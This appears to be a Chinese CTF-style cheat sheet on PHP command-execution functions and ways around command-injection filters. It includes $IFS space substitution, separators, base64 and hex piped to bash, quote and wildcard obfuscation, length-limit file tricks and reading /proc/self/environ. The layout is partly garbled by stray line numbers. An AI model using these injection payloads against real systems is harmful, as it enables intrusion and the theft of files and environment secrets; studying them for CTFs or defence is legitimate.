命令执行函数

  • 直接可以把执行命令得到的数据输出

    • system()
    • passthru()
  • 只加echo即可输出

    • echo exec()
    • echo shell_exec()
    • echo `命令` 同shell_exec()
  • popen()

    • popen是作为打开文件存在,首先以可读的方式打开我们命令的执行结果,此时返回的是文件的资源句柄(resource)或者说地址,所以我们需要使用stream_get_contents去读取文件的内容即命令执行的结果,最后使用echo将其输出
    • echo stream_get_contents(popen("cat f*","r"));
      $h=popen("cat f*","r");echo stream_get_contents($h);pclose($h);
      
      1
      2
      3
      4
      5
      6
      7
      8

      - proc_open()
      - ```
      proc_open ( string $cmd , array $descriptorspec , array &$pipes)
      cmd:执行的命令
      descriptorspec:索引数组。数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)
      数组中的元素可以是:要传送至进程的管道的描述信息。 第一个元素为描述符类型, 第二个元素是针对该描述符的选项。 有效的类型有:pipe (第二个元素可以是: r 向进程传送该管道的读取端,w 向进程传送该管道的写入端), 以及 file(第二个元素为文件名)。
      pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。
    • $p=proc_open("cat f*",[1=>["pipe","w"]],$ps);echo stream_get_contents($ps[1]);proc_close($p);
      
      1
      2
      3
      4
      5

      - pcntl_exec()
      - 本质是重开了一个uinx的命令行,但由于不会输出,适用于反弹shell或者写入webshell
      - ```
      pcntl_exec("/bin/sh", ["-c", "cat f*"]);

空格过滤

  • linux
1
2
3
4
5
6
7
8
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格)
%09
%0a

小tips1

$IFS$9去代替的,passthru("tac$IFS$9f*")但是无法成功,搜索了一下发现,由于使用的是双引号,所以我们传入$就会被php识别成变量,而代码中不存在该变量,所以自动为空,就会变成passthru("tacf*")自然无法读取

反引号一样

小tips2

%0a不行是因为在uinx中执行命令换行会直接结束当前的命令

  • Windows
1
2
3
type.\flag.txt
type,flag.txt
echo,123456

< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20

查看命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings

管道符

Windows

1
2
3
4
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux

1
2
3
4
5
;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

命令分割符

linux:%0a , %0d , ; , & , | , && , ||

win:%0a , & , | , %1a(可作为.bat文件的命令分隔符)

担任连续指令的功能符号就是”;”
管道符”|”左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示(编码绕过用到)

字符串黑名单绕过

拼接绕过

1
2
3
eg:
a=l;b=s;$a$b
a=fl;b=ag;cat $a$b

编码绕过

1
2
3
4
5
6
base64:
echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex:
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

单双引号绕过

1
2
ca''t flag
ca""t flag

反斜杠绕过

1
ca\t fl\ag

正则(假设/bin/cat:test:是一个目录)

1
2
3
/???/?[a][t] ?''?''?''?''
/???/?at ????
/???/?[a]''[t] ?''?''?''?''

$1、$2等和$@

1
2
3
4
5
6
7
8
$# 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个
$$ 是脚本运行的当前进程ID号
$? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误

借用已有字符串

比如linux内置变量,再通过截取方式得到需要的字符

长度限制

可以利用文件构造的方法

eg:

linux下可以用1>a创建名为a的空文件

ls -t>test则会将目录按时间排序后写进文件中

sh命令可以从一个文件中读取命令来执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

\是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行

内联执行

命令替代,大部分Unix shell以及编程语言如Perl、php以及Ruby等都以成对的反引号做指令替代,,也就是执行被反引号包围的命令

1
2
3
cat$IFS$9`ls`
cat$IFS$9$(ls)
(内联,就是将``或$()内命令的输出作为输入执行)

通配符

1
2
3
4
5
6
7
常用的linux shell通配符
*=>匹配任意长度字符
?=>匹配任意单个字符
[list]=>匹配指定范围(list)内的任意字符,也可以是单个字符组成的集合
[^list]=>匹配指定范围外的任意单个字符或字符集合
[!list]=>[^list]
{str1,str2}匹配str1或者str2

上面所有通配符只匹配单层路径,不能跨目录匹配,即无法匹配子目录里面的文件。或者说,?或 * 这样的通配符,不能匹配路径分隔符(/)。如果要匹配子目录里面的文件,可以写成这样:ls */*.txt

绕过preg_match

1
可以使用%0a换行绕过preg_match

读取环境变量

1
cat /proc/self/environ